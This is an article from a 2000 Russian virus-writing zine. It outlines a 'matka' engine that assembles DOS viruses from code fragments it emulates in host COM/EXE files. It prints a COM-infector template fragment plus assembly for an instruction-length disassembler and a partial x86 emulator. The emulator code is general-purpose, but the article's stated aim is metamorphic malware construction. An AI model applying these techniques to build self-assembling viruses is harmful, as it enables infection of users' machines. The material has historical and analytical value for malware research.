_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  матка [2000]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by mongoose [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


   ─ содержание

     введение ........................................... 1
     кодо-эмулятор & анализатор ......................... 2
     принцип работы кодо-эмулятора и анализатора ........ 3
     принцип работы матки ............................... 4
     определение размера инструкции (c) 1997 Reminder ... 5
     эмулятор и анализатор (c) 2000 mongoose ............ 6


   ─ введение

     большое спасибо Reminder'у за AIFS.

   где-то  в  июне  2000-го года я разговаривал  с одним  своим  знакомым  о
 возможности написания "матки", которая  будет  собирать  вирусы  из  кусков
 различных программ  и эти  вирусы будут жить своей жизнью.  на тот момент я
 даже не подозревал как это можно провернуть, но время летит...

   на данный момент, реализация  идеи  ничего  полезного  вирусу не даст. он
 будет огромного размера, "но время летит" (c) mng


   ─ кодо-эмулятор & анализатор

   процедуры  подсчета  размера  инструкции (c) Reminder  [1997],  они  были
 немного изменены мной для использования в эмуляторе. эмулятор полностью мой
 (хотя гордиться здесь нечем)

    это кривое дерьмо (эмулятор) изначально было написано не для вируса

    эмуляция прекращается при достижении ret, retf, int 20h/21h
    не эмулит порты, операции со стеком и еще много чего...


   ─ принцип работы кодо-эмулятора и анализатора

   на начальном  этапе ds:si  должен  указывать на блок  данных  который  мы
 будем эмулировать. по началу,  все  виртуальные  регистры обнуляются, далее
 запускается  цикл, который  обрывается,  (завершается эмуляция)  иногда  =]
 определяется размер инструкции, она копируется в "специальный" буффер и там
 анализируется. если  анализатор  не разпознает ее, то переходим к следующей
 инструкции,  иначе,  она   эмулируется...   эмуляция  может  происходить  в
 "специальном"   пространстве   (обычно,  это  происходит  когда  инструкция
 выполняется напрямую) и исскуственно (когда инструкция слишком "опастная" и
 нужно исскуственно выполнить все  действия  по эмуляции).

   естественно,  чем   больше  инструкций   анализатор  распознает  и  умеет
 эмулировать, тем быстрее будут находиться куски требуемые  для  составления
 вируса  и он будет быстрее составляться... ;-\


   ─ принцип работы матки

   вирус  содержит  в  себе схему,  по  которой  он  будет составлять  своих
 "детей",  например участок кода:

 code:          call    calculate_ip             ; ! calculate IP
 calculate_ip:  pop     bp                       ; !
                sub     bp,offset calculate_ip   ; !

                mov     di,100h                  ; restore original bytes
                lea     si,[bp+original_bytes]   ; !
                movsw                            ; !
                movsw                            ; !

   открывается произвольный com  или  exe файл, из него считывается  участок
 размером  в  20-30 кб, затем, поочередно, обрабатываются инструкции макета.
 например,  в  участке  показаном  выше,  инструкции  помеченные "!",  будут
 копироваться  в  тело  вируса   без  изменений.   инструкция  "mov di,100h"
 эмулируется, запоминается состояние регистров  (в данном  случае di = 100h,
 остальные нулю), затем эмулируется полученный кусок кода,  если по ходу его
 эмуляции мы получим состояние  регистров равное тому, что мы получили после
 эмуляции "mov di,100h" останавливаем эмуляцию  и  копируем проэмулированный
 участок кода,  иначе эмулируем участок до конца.  если  и в этом  случае не
 получим нужное состояние, проанализируем еще несколько участков и, в случае
 неудачи, запишем инструкцию как есть.


   ─ определение размера инструкции (c) 1997 Reminder

───[count.inc]───────────────────────────────────────────────────────[start]──
;
; "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
 @dis_init:     lea    si,[bp+rle_table]         ; di - buf for table (256)
                mov    cx,88
                cld
 @c1:           lodsb
                mov    bx,1
                push   ax
                and    al,0F0h
                cmp    al,70h
                pop    ax
                jnz    @s1
                and    al,0fh
                mov    bl,al
                lodsb
                dec    cx
 @s1:           push   ax cx ax
                and    al,0fh
                stosb
                pop    ax
                mov    cx,4
                shr    al,cl
                stosb
                pop    cx ax
                dec    bx
                jnz    @s1
                loop   @c1
                ret
;
; Table 4 "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
;  11111111b
;  |   |
;  |   |
;  |   -  @1 (field 0 - 3 bit)                  @1 - first byte
;  -  @2 (field 4-7 bit)                        @2 - second  byte
;
; RLE Compression ;)
;if @2 = 0111b then next byte*@1
;
; (c) Reminder  (1997)
;
;       bp - ofsfet table si - kod.             si - next kod
;
 @dmain:        push   bx
                lodsb
;----------
                cmp    al,0fh
                jz     sux
                cmp    al,0f1h
                jz     sux
;----------
 cem_bp:        mov    bx,00ffh
                xlat
                sub    bx,bx

                or     al,al
                jz     quit
                push   ax         ; imm
                and    al,7
                add    bl,al
                pop    ax

                test   al,8               ;rm
                jz     quit
                lodsb
                mov    ah,al
                push   cx
                mov    cl,6
                shr    al,cl
                pop    cx
                cmp    al,3
                jz     quit
                add    bl,al
                or     al,al
                jnz    quit
                and    ah,7
                cmp    ah,6
                jnz    quit
                add    bx,2

 quit:          add    si,bx
                clc
                pop    bx
                ret

 sux:           stc
                pop    bx
                ret
;
 rle_table             db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
                       db 021h,000h,088h,088h,021h,000h,088h,088h,021h,000h
                       db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
                       db 021h,07Fh,000h,076h,000h,0A2h,091h,000h,000h,078h
                       db 011h,0A9h,0A9h,074h,088h,028h,088h,075h,000h,004h
                       db 000h,000h,022h,022h,000h,000h,022h,073h,000h,074h
                       db 011h,074h,022h,099h,002h,022h,0A9h,003h,002h,010h
                       db 000h,088h,088h,011h,000h,074h,088h,074h,011h,022h
                       db 014h,075h,000h,0A9h,073h,000h,088h
;
; start : si = location
; exit  : ax = size
;
 instr_size:    push   ax cx dx bx bp sp si di
                lea    di,[bp+sot]
                call   @dis_init
                pop    di si sp bp bx dx cx ax
                push   cx dx bx di si sp bp
                lea    cx,[bp+sot]
                mov    word ptr [bp+cem_bp+1],cx
                mov    cx,1
                xor    dx,dx
                mov    bx,si
                call   @dmain
                mov    ax,si
                sub    ax,bx
                pop    bp sp si di bx dx cx
                ret
───[count.inc]──────────────────────────────────────────────────────────[end]─


   ─ эмулятор и анализатор (c) 2000 mongoose

   был  написан  мной  для  одной  программки, работает  довольно  медленно
   и глючно. версия номер 31

───[emulate.inc]──────────────────────────────────────────────────────[start]─
;═════════════════════════════════════════════════════════════════════════════
; Выполнение команд (узкая эмуляция)
; (c) [...s.k.i.p...]
;
; Начало работы        : 22 августа, 2000 год
; Последняя модификация: 5 сентября, 2000 год
;═════════════════════════════════════════════════════════════════════════════
;─────────────────────────────────────────────────────────────────────────────
; emulate - эмулируем участок кода, значения регистров в word ptr reg_??
;
;  Псевдо эмулятор кода, процедура анализирует команды и производит их эмуляцию
; однако команды не выполняются на прямую (кроме тех которые можно), что позво-
; ляет избежать  выполнения мусора и опасных команд. Даже на данном этапе кодо-
; эмулятор позволяет выполнять декрипторы (расшифровывать) наиболее простых по-
; лиморфных и шифрованных вирусов.
;
; warning   эмулятор неможет эмулировать работу со стеком
;
; on start  ds:dx - адрес кода который будем эмулировать в файле + 100h!
;           ds:si - позиция с которой надо эмулировать код
;
;───────────────
 emulate_ver            db 'EMULx031'
;───────────────
 emulate:       lea     di,[bp+reg_ax]
                mov     cx,((7*2)+1)
                sub     ax,ax
 clear_emul_rl: stosb                           ; очистим все 7 (кроме sp)
                loop    clear_emul_rl           ; виртуальные регистры :)

                mov     word ptr [bp+emul_ofinfl],dx
                mov     word ptr [bp+emul_ofincd],si
                mov     word ptr [bp+emul_offset],si
                mov     byte ptr [bp+check_code_flag],0
;───────────────
 emulate_loop:
                call    instr_size              ; определим размер инструкции
                int     3

                push    si cx                   ; сохраним позицию и размер
                lea     di,[bp+emulate_buffer]
                mov     cx,ax
                cld
                rep     movsb                   ; копируем инструкцию в буффер
                pop     cx si                   ; востановим размер и позицию

                mov     byte ptr [di],0c3h      ; ставим после команды ret

                cmp     al,1
                jz      emulate_1               ; если размер 1 байт
                cmp     al,2
                jz      emulate_2               ; если размер 2 байта
                cmp     al,3
                jz      emulate_3               ; если размер 3 байта
                cmp     al,4
                jz      emulate_4               ; если размер 4 байта
                cmp     al,5
                jz      emulate_5               ; если размер 5 байт
                cmp     al,6
                jz      emulate_6               ; если размер 6 байт
                cmp     al,8
                jz      emulate_8               ; если размер 8 байт
;───────────────
 eml_instr_end: add     si,ax                   ; переводим указатель на дру-
                jmp     emulate_loop
;───────────────
 emulate_end:   cmp     byte ptr [bp+check_code_flag],0
                jnz     emulate_end_r

                lea     si,[bp+language]
                add     si,[bp+msg_healthy]
                call    print_string
                call    show_nul
 emulate_end_r: ret                             ; заканчиваем эмуляцию
;───────────────
 emulate_1:
                cmp     byte ptr [si],040h      ; INC AX ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],041h      ; INC CX ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],042h      ; INC DX ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],043h      ; INC BX ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],044h      ; INC BP ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],046h      ; INC SI ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],047h      ; INC DI ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],048h      ; DEC AX ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],049h      ; DEC CX ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0c3h      ; RET ?
                jz      emulate_end             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0cbh      ; RETF ?
                jz      emulate_end             ; эмулируем стандарт. методом
                jmp     eml_instr_end           ; заканчиваем эмуляцию инстр.
;───────────────
 emulate_2:
                cmp     byte ptr [si],074h      ; JZ IMM ?
                jz      @emul_jz                ; эмулируем спец. методом
                cmp     byte ptr [si],075h      ; JNE IMM ?
                jz      @emul_jnz               ; эмулируем спец. методом
                cmp     byte ptr [si],08bh      ; MOV REG16,REG16 ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],020cdh    ; INT 21H ?
                jz      emulate_end             ; эмулируем стандарт. методом
                cmp     word ptr [si],021cdh    ; INT 21H ?
                jz      emulate_end             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0e2h      ; LOOP IMM ?
                jz      @emul_loop              ; эмулируем спец. методом
                cmp     byte ptr [si],0ebh      ; JMP NEAR IMM ?
                jz      @emul_jmp_near          ; эмулируем спец. методом
                jmp     eml_instr_end           ; заканчиваем эмуляцию инстр.
;───────────────
 emulate_3:
                cmp     byte ptr [si],03dh      ; CMP AX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0b8h      ; MOV AX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0b9h      ; MOV CX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0bah      ; MOV DX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0bbh      ; MOV BX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0bdh      ; MOV BP,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0beh      ; MOV SI,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0bfh      ; MOV DI,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0cah      ; RETF OFFSET?
                jz      emulate_end             ; эмулируем стандарт. методом
                cmp     byte ptr [si],0e9h      ; JMP OFFSET?
                jz      @emul_jmp               ; эмулируем стандарт. методом
                jmp     eml_instr_end           ; заканчиваем эмуляцию инстр.
;───────────────
 emulate_4:
                cmp     word ptr [si],03481h    ; XOR WORD PTR [SI],IMM ?
                jz      @emul_xr_wpsi           ; эмулируем спец. методом
                cmp     word ptr [si],0f881h    ; CMP AX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],0f981h    ; CMP CX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],0fa81h    ; CMP DX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],0fb81h    ; CMP BX,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],0fc81h    ; CMP BP,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],0fe81h    ; CMP SI,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],0ff81h    ; CMP DI,IMM ?
                jz      @stand_emul             ; эмулируем стандарт. методом
                cmp     word ptr [si],006ffh    ; INC WORD PTR [????]
                jz      @emul_inc_wpi           ;
                jmp     eml_instr_end           ; заканчиваем эмуляцию инстр.
;───────────────
 emulate_5:
                cmp     word ptr [si],03680h    ; XOR BYTE PTR [????],IMM
                jz      @emul_xr_bpx
                jmp     eml_instr_end
;───────────────
 emulate_6:
                cmp     word ptr [si],03e81h    ; CMP WORD PTR [????],IMM
                jz      @emul_cp_wpx
                jmp     eml_instr_end
;───────────────
 emulate_8:
                cmp     word ptr [si],00683h    ; ADD WORD PTR [????],IMM
                jz      @emul_ad_wpx
                jmp     eml_instr_end
;───────────────
 @stand_emul:   push    ax cx dx bx bp sp di si
                call    emulate_instr
                pop     si di sp bp bx dx cx ax
                jmp     eml_instr_end
;───────────────
 emulate_instr: mov     ax,offset emul_sflags   ; после ret'а переходим на
                push    ax                      ; метку "emul_sflags"
                mov     ax,word ptr [bp+reg_ax]
                mov     cx,word ptr [bp+reg_cx]
                mov     dx,word ptr [bp+reg_dx]
                mov     bx,word ptr [bp+reg_bx]
                mov     bp,word ptr [bp+reg_bp]
                mov     si,word ptr [bp+reg_si] ; загружаем значения в "закон-
                mov     di,word ptr [bp+reg_di] ; ные" регистры
;───────────────
 emulate_buffer         db 20 dup (?)           ; для команды и рета
;───────────────
                call    emul_sflags             ; сохраним / проэмулим флаги
                ret
;───────────────
 emul_sregs:    mov     word ptr [bp+reg_ax],ax
                mov     word ptr [bp+reg_cx],cx
                mov     word ptr [bp+reg_dx],dx
                mov     word ptr [bp+reg_bx],bx
                mov     word ptr [bp+reg_bp],bp
                mov     word ptr [bp+reg_si],si
                mov     word ptr [bp+reg_di],di ; сохраняем значения регистров
                ret
;───────────────
 @emul_jz:      cmp     byte ptr [bp+zf_flag],1 ; если флаг равенства включен
                jz      @run_jmp_near           ; эмулируем команду перехода

                add     si,ax                   ; переводим указатель на дру-
                call    check_code_4s           ; проверяем на сигнатуры
                jmp     emulate_end
;───────────────
 @emul_jnz:     cmp     byte ptr [bp+zf_flag],0 ; если флаг равенства включен
                jz      @run_jmp_near           ; эмулируем команду перехода

                add     si,ax                   ; переводим указатель на дру-
                call    check_code_4s           ; проверяем на сигнатуры
                jmp     emulate_end
;───────────────
 @emul_jmp_near:
                sub     ax,ax                   ; ax = 0
                lodsb
                lodsb
                add     si,ax
                jmp     emulate_loop            ; конец эмуляции инструкции
;───────────────
 @emul_jmp:     lodsb
                lodsw
                add     si,ax
                jmp     emulate_loop            ; конец эмуляции инструкции
;───────────────
 @emul_loop:    mov     dx,word ptr [bp+reg_cx] ; dx содержит значение рег. cx
                dec     dx                      ; dx = dx - 1
                dec     word ptr [bp+reg_cx]    ; reg_cx = dx
                or      dx,dx                   ; dx == 0 ?
                jnz     @run_jmp_near           ; нет? продолжим эмуляцию цикла

                add     si,ax                   ; переводим указатель на дру-
                call    check_code_4s           ; проверяем на сигнатуры
                jmp     emulate_end
;───────────────
 @run_jmp_near: sub     dx,dx                   ; dx = 0
                cmp     byte ptr [si+1],128
                jl      goto_up

 goto_down:     mov     dl,255                  ; dl = 255
                sub     dl,byte ptr [si+1]      ; dl = jump size + 1
                dec     dx                      ; dl = jump size
                sub     si,dx                   ; указатель на нужную команду
                jmp     emulate_loop

 goto_up:       inc     dx
                add     dl,byte ptr [si+1]
                add     si,dx
                jmp     emulate_loop
;───────────────
 check_code_4s:
                cmp     byte ptr [bp+check_code_flag],0
                jnz     check_code_rt
                mov     word ptr [bp+emul_offset],si
                push    ax cx dx bx sp bp si di
                call    check_file
                pop     di si bp sp bx dx cx ax
 check_code_rt: ret
;───────────────
; начальная процедура для эмуляции инструкий вида: xor word ptr [xor_reg],imm
; замена расположения значения индексного регистра в файле на расположение в
; "памяти"
;
; использовать примерно так: push  ax si
;                            call  @emul_xr_wpim
;                            add   si,word ptr [bp+reg_"xor_reg"]
;                            mov   xor_reg,si
;                            xor   word ptr [xor_reg],ax
;                            pop   si ax
;
 @emul_xr_wpim: lodsw
                lodsw

                mov     si,0ffffh
                sub     si,word ptr [bp+emul_ofinfl]
                add     si,word ptr [bp+emul_ofincd]
                inc     si
                ret
;───────────────
; emulate xor word ptr [si],imm
;
 @emul_xr_wpsi: push    ax si                   ; сохраняем ax si
                call    @emul_xr_wpim           ; преобразуем смещение
                add     si,word ptr [bp+reg_si] ; смещение + значение регистр
                xor     word ptr [si],ax        ; выполняем инструкцию
                pop     si ax                   ; востанавливаем si ax
                jmp     eml_instr_end           ; конец
;───────────────
; emulate xor word ptr [di],imm
;
 @emul_xr_wpdi: push    ax di                   ; сохраняем ax di
                call    @emul_xr_wpim           ; преобразуем смещение
                add     si,word ptr [bp+reg_si] ; смещение + значение регистр
                push    si                      ; ┐
                pop     di                      ; di = si
                xor     word ptr [di],ax        ; выполняем инструкцию
                pop     di ax                   ; востанавливаем di ax
                jmp     eml_instr_end           ; конец
;───────────────
; emulate inc word ptr [offset]
;
 @emul_inc_wpi: push    ax si
                call    @emul_xr_wpim
                add     si,ax
                inc     word ptr [si]
                pop     si ax
                jmp     eml_instr_end           ; конец
;───────────────
; emulate xor byte ptr [offset],imm
;
 @emul_xr_bpx:  push    ax dx si
                mov     dl,byte ptr [si+4]
                call    @emul_xr_wpim
                add     si,ax
                xor     byte ptr [si],dl
                pop     si dx ax
                jmp     eml_instr_end           ; конец
;───────────────
; emulate cmp word ptr [offset],imm
;
 @emul_cp_wpx:  push    ax dx si
                mov     dx,word ptr [si+4]
                call    @emul_xr_wpim
                add     si,ax
                cmp     word ptr [si],dx
                call    emul_sflags
                pop     si dx ax
                jmp     eml_instr_end           ; конец
;───────────────
; emulate add word ptr [offset],imm
;
 @emul_ad_wpx:  push    ax dx si
                mov     dx,word ptr [si+8]
                call    @emul_xr_wpim
                add     si,ax
                add     word ptr [si],dx
                pop     si dx ax
                jmp     eml_instr_end           ; конец
;───────────────
 emul_sflags:   jz      flag_zf_on              ; прыгаем если флаг ZF включен
 flag_zf_off:   mov     byte ptr [bp+zf_flag],0 ; zf = 0 (отключен)
 emul_sflags_e: ret
;───────────────
 flag_zf_on:    mov     byte ptr [bp+zf_flag],1 ; zf = 1 (включен)
                jmp     emul_sflags_e
;───────────────
 include                count.inc               ; кодо-анализатор (c) Reminder
;───────────────
 reg_ax                 dw ?                    ; значение виртуальных
 reg_cx                 dw ?                    ; регистров
 reg_dx                 dw ?
 reg_bx                 dw ?
 reg_bp                 dw ?
 reg_si                 dw ?
 reg_di                 dw ?
 zf_flag                db ?
; emul_optn          dw ?
 emul_ofinfl            dw ?
 emul_ofincd            dw ?
 check_code_flag        db ?                    ; флаг проверки кода
;─────────────────────────────────────────────────────────────────────────────
───[emulate.inc]────────────────────────────────────────────────────────[end]─

                               (x) 2000 mongoose, misdirected_youth_all-star